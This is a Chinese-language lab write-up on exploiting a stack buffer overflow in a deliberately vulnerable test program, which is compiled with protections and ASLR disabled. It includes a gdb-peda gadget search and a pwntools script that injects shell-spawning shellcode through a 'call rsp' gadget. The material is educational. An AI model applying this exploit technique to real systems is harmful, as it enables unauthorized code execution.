实验平台:
x86_64, Ubuntu 18.04.5 LTS, Kernel 4.15.0-156-generic, glibc 2.27-3ubuntu1.4
实验源码及答案:https://github.com/bjrjk/pwn-learning/tree/main/StackOverflow/no-protection
hello.c
为本次试验的C语言程序源代码,内容如下:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void SayHello(void){
char tmpName[60];
read(0, tmpName, 1000);
printf("Hello %s\n", tmpName);
}
int main(int argc, char** argv){
SayHello();
return 0;
}
非常明显的,本程序中存在缓冲区溢出漏洞。栈上的数组大小只有60,利用read系统调用读入数据时,却可以读入1000个。
我们利用compile.sh
脚本编译hello.c
,得到hello
这个elf可执行程序。
#!/bin/sh
gcc hello.c -g -o hello -zexecstack -fno-stack-protector -no-pie
编译时,开启调试选项,关闭NX,关闭Canary,关闭PIE。
使用checksec确认可执行文件的保护措施。
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
所有可执行文件的保护措施全部关闭,但我们还需要关闭系统的ASLR,防止库函数的地址随机化。在Ubuntu中以root权限执行以下命令,以临时关闭ASLR,重启后失效。
echo 0 > /proc/sys/kernel/randomize_va_space
对于无保护的栈溢出,最常见的做法是将shellcode布局到栈上寄存器rsp
所指的位置,然后在程序的地址空间中查找call rsp
或jmp rsp
,令返回地址指向它即可。下面我们来利用这种办法解决这个问题。
把程序拖到IDA里,F5反编译一下,查看SayHello函数。
可以发现,tmpName
的首地址距离返回地址r差0x40+0x08=0x48,它也恰好是当前栈帧顶(寄存器rsp
)所指向的地址。
我在此处走了一些弯路,本来想的是利用跳转到rsp
,就直接将shellcode布局到tmpName
处,后期出错,用gdb调试才发现,函数的尾声epilogue
部分,是先执行leave
,再执行ret
。因此,shellcode应当布局在返回地址的后面。
在关闭了ASLR之后,我们使用gdb来查询一下libc中call rsp
或jmp rsp
的地址。
注意:随libc版本的不同,汇编指令的地址也会不同,因此在我机器上运行正常的pwn脚本,对于这个跳转rsp
的地址,需要在别的机器上再做适配。
jackren@ubuntu:~/pwn-learning/stackoverflow/no-protectionpeda-gdb
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
gdb-peda file hello
Reading symbols from hello...done.
gdb-pedab main
Breakpoint 1 at 0x40057f: file hello.c, line 11.
gdb-peda info b
Num Type Disp Enb Address What
1 breakpoint keep y 0x000000000040057f in main at hello.c:11
gdb-pedarun
Starting program: /home/jackren/pwn-learning/stackoverflow/no-protection/hello
[----------------------------------registers-----------------------------------]
RAX: 0x400570 (<main>: push rbp)
RBX: 0x0
RCX: 0x400590 (<__libc_csu_init>: push r15)
RDX: 0x7fffffffde08 --> 0x7fffffffe1cc ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffddf8 --> 0x7fffffffe18f ("/home/jackren/pwn-learning/stackoverflow/no-protection/hello")
RDI: 0x1
RBP: 0x7fffffffdd10 --> 0x400590 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffdd00 --> 0x7fffffffddf8 --> 0x7fffffffe18f ("/home/jackren/pwn-learning/stackoverflow/no-protection/hello")
RIP: 0x40057f (<main+15>: call 0x400537 <SayHello>)
R8 : 0x7ffff7dced80 --> 0x0
R9 : 0x7ffff7dced80 --> 0x0
R10: 0x0
R11: 0x0
R12: 0x400450 (<_start>: xor ebp,ebp)
R13: 0x7fffffffddf0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400574 <main+4>: sub rsp,0x10
0x400578 <main+8>: mov DWORD PTR [rbp-0x4],edi
0x40057b <main+11>: mov QWORD PTR [rbp-0x10],rsi
=> 0x40057f <main+15>: call 0x400537 <SayHello>
0x400584 <main+20>: mov eax,0x0
0x400589 <main+25>: leave 0x40058a <main+26>: ret 0x40058b: nop DWORD PTR [rax+rax*1+0x0]
No argument
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd00 --> 0x7fffffffddf8 --> 0x7fffffffe18f ("/home/jackren/pwn-learning/stackoverflow/no-protection/hello")
0008| 0x7fffffffdd08 --> 0x100000000
0016| 0x7fffffffdd10 --> 0x400590 (<__libc_csu_init>: push r15)
0024| 0x7fffffffdd18 --> 0x7ffff7a03bf7 (<__libc_start_main+231>: mov edi,eax)
0032| 0x7fffffffdd20 --> 0x1
0040| 0x7fffffffdd28 --> 0x7fffffffddf8 --> 0x7fffffffe18f ("/home/jackren/pwn-learning/stackoverflow/no-protection/hello")
0048| 0x7fffffffdd30 --> 0x100008000
0056| 0x7fffffffdd38 --> 0x400570 (<main>: push rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, main (argc=0x1, argv=0x7fffffffddf8) at hello.c:11
11 SayHello();
gdb-peda asmsearch "call rsp" libc
Searching for ASM code: 'call rsp' in: libc ranges
0x00007ffff79e263a : (c1d4) rcl esp,0xa0
0x00007ffff79e2a1d : (d2d4) rcl ah,cl
0x00007ffff79e2a84 : (02d4) add dl,ah
0x00007ffff79e2feb : (00d4) add ah,dl
0x00007ffff79e3367 : (00d4) add ah,dl
0x00007ffff79e36c3 : (00d4) add ah,dl
0x00007ffff79e3a03 : (00d4) add ah,dl
0x00007ffff79e3bcc : (72d4) jb 0x7ffff79e3ba2
0x00007ffff79e3cf8 : (4dd4) rex.WRB (bad)
0x00007ffff79e3fa4 : (9ad4) (bad) ; (bad)
0x00007ffff79e3fda : (cdd4) int 0xd4
0x00007ffff79e4090 : (8cd4) mov esp,ss
0x00007ffff79e41b3 : (22d4) and dl,ah
0x00007ffff79e422d : (c2d4) ret 0x1dd4
0x00007ffff79e445f : (ccd4) int3 ; (bad)
0x00007ffff79e4480 : (e7d4) out 0xd4,eax
0x00007ffff79e4613 : (5dd4) pop rbp; (bad)
0x00007ffff79e4697 : (e5d4) in eax,0xd4
0x00007ffff79e472c : (2ed4) cs (bad)
0x00007ffff79e4a0b : (7cd4) jl 0x7ffff79e49e1
0x00007ffff79e4c12 : (83d4) adc esp,0x4b
0x00007ffff79e4d4d : (b2d4) mov dl,0xd4
0x00007ffff79e4f0f : (acd4) [rsi]; (bad)
0x00007ffff79e4f7b : (05d4) add eax,0xb10965d4
0x00007ffff79e501a : (54d4) push rsp; (bad)
--More--(25/1882)
0x00007ffff79e501c : (81d4) adc esp,0x7d037e23
0x00007ffff79e51a6 : (41d4) rex.B (bad)
0x00007ffff79e527f : (bad4) mov edx,0xc0c25cd4
0x00007ffff79e52a3 : (d8d4) fcom st(4)
0x00007ffff79e52df : (44d4) rex.R (bad)
0x00007ffff79e53f1 : (44d4) rex.R (bad)
0x00007ffff79e5431 : (52d4) push rdx; (bad)
0x00007ffff79e5891 : (35d4) xor eax,0xf03a04d4
0x00007ffff79e58e4 : (88d4) mov ah,dl
0x00007ffff79e58e8 : (52d4) push rdx; (bad)
0x00007ffff79e5953 : (ecd4) in al,dx; (bad)
0x00007ffff79e5a4c : (b6d4) mov dh,0xd4
0x00007ffff79e5bd8 : (b4d4) mov ah,0xd4
0x00007ffff79e5c8a : (19d4) sbb esp,edx
0x00007ffff79e5ce5 : (c1d4) rcl esp,0xf1
0x00007ffff79e5cec : (f8d4) clc ; (bad)
0x00007ffff79e5d33 : (b1d4) mov cl,0xd4
0x00007ffff79e5dfc : (6ad4) push 0xffffffffffffffd4
0x00007ffff79e5ed6 : (b8d4) mov eax,0x222acdd4
0x00007ffff79e6977 : (00d4) add ah,dl
0x00007ffff79e697f : (00d4) add ah,dl
0x00007ffff79e6bc8 : (10d4) adc ah,dl
0x00007ffff79e7a38 : (30d4) xor ah,dl
0x00007ffff79e7e67 : (00d4) add ah,dl
0x00007ffff79e7f90 : (c0d4) rcl ah,0x11
--More--(50/1882)
0x00007ffff79e83c8 : (30d4) xor ah,dl
0x00007ffff79e84df : (00d4) add ah,dl
0x00007ffff79e89ef : (00d4) add ah,dl
0x00007ffff79e8cb0 : (c0d4) rcl ah,0x15
0x00007ffff79e8fb0 : (70d4) jo 0x7ffff79e8f86
0x00007ffff79e9658 : (c0d4) rcl ah,0x11
0x00007ffff79e9d3f : (00d4) add ah,dl
0x00007ffff79e9e6f : (00d4) add ah,dl
0x00007ffff79ea33f : (00d4) add ah,dl
0x00007ffff79ec5ef : (00d4) add ah,dl
0x00007ffff79ec8d7 : (00d4) add ah,dl
0x00007ffff79ecc10 : (60d4) (bad) ; (bad)
0x00007ffff79edea7 : (00d4) add ah,dl
0x00007ffff79ee11f : (00d4) add ah,dl
0x00007ffff79eebdf : (00d4) add ah,dl
0x00007ffff79eef3f : (00d4) add ah,dl
0x00007ffff79f06c7 : (00d4) add ah,dl
0x00007ffff79f1017 : (00d4) add ah,dl
0x00007ffff79f238f : (00d4) add ah,dl
0x00007ffff79f348f : (00d4) add ah,dl
0x00007ffff79fd2c0 : (80d4) adc ah,0x19
0x00007ffff79fd2d8 : (cad4) retf 0x19d4
0x00007ffff79fd2f0 : (e0d4) loopne 0x7ffff79fd2c6
0x00007ffff79fd427 : (00d4) add ah,dl
0x00007ffff79fd607 : (00d4) add ah,dl
--More--(75/1882)
0x00007ffff7a0256b : (00d4) add ah,dl
0x00007ffff7a033cc : (f0d4) lock (bad)
0x00007ffff7a034b1 : (75d4) jne 0x7ffff7a03487 <check_stdfiles_vtables+23>
0x00007ffff7a03985 : (89d4) mov esp,edx
0x00007ffff7a04045 : (4ad4) rex.WX (bad)
0x00007ffff7a04135 : (4ad4) rex.WX (bad)
0x00007ffff7a04b1b : (89d4) mov esp,edx
0x00007ffff7a05027 : (e8d4) call 0x7ffff7a03200 <*ABS*+0x9d940@plt>
0x00007ffff7a059b7 : (84d4) test ah,dl
0x00007ffff7a05acc : (89d4) mov esp,edx
0x00007ffff7a05d2c : (d0d4) rcl ah,1
0x00007ffff7a05d45 : (b7d4) mov bh,0xd4
0x00007ffff7a05d67 : (95d4) xchg ebp,eax; (bad)
0x00007ffff7a05d84 : (78d4) js 0x7ffff7a05d5a <__gconv_find_transform+666>
0x00007ffff7a05e96 : (bbd4) mov ebx,0x66ffffd4
0x00007ffff7a05f92 : (75d4) jne 0x7ffff7a05f68 <insert_module+120>
0x00007ffff7a061f4 : (29d4) sub esp,edx
0x00007ffff7a0646c : (29d4) sub esp,edx
0x00007ffff7a06967 : (2dd4) sub eax,0x3c6ad4
0x00007ffff7a06c33 : (89d4) mov esp,edx
0x00007ffff7a074bc : (89d4) mov esp,edx
0x00007ffff7a08118 : (ffd4) call rsp
0x00007ffff7a08408 : (ffd4) call rsp
0x00007ffff7a0853e : (1ed4) (bad) ; (bad)
0x00007ffff7a08545 : (2bd4) sub edx,esp
--More--(100/1882)q
gdb-peda$
使用peda-gdb
执行asmsearch "call rsp" libc
,发现在虚拟空间地址0x00007ffff7a08118
处有一句。因此我们要将返回地址布局为它。
因此利用pwntools编写answer.py如下:
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
import os
context.log_level="debug"
context(arch="amd64",os="linux")
# 设置体系结构
p=process('./hello') # 开启进程
shellcode=asm(shellcraft.sh()) # 生成shellcode
len_sc=len(shellcode)
payload=0x48*'0'+p64(0x00007ffff7a08118)+shellcode
# 首先填充栈上的变量区域、rbp,接着覆盖返回地址,再填充shellcode
with open('payload.txt', 'w') as f:
f.write(payload)
p.sendline(payload)
p.interactive()
参考资料:
[1] kali下栈溢出实验和一些tips https://blog.csdn.net/niexinming/article/details/76893510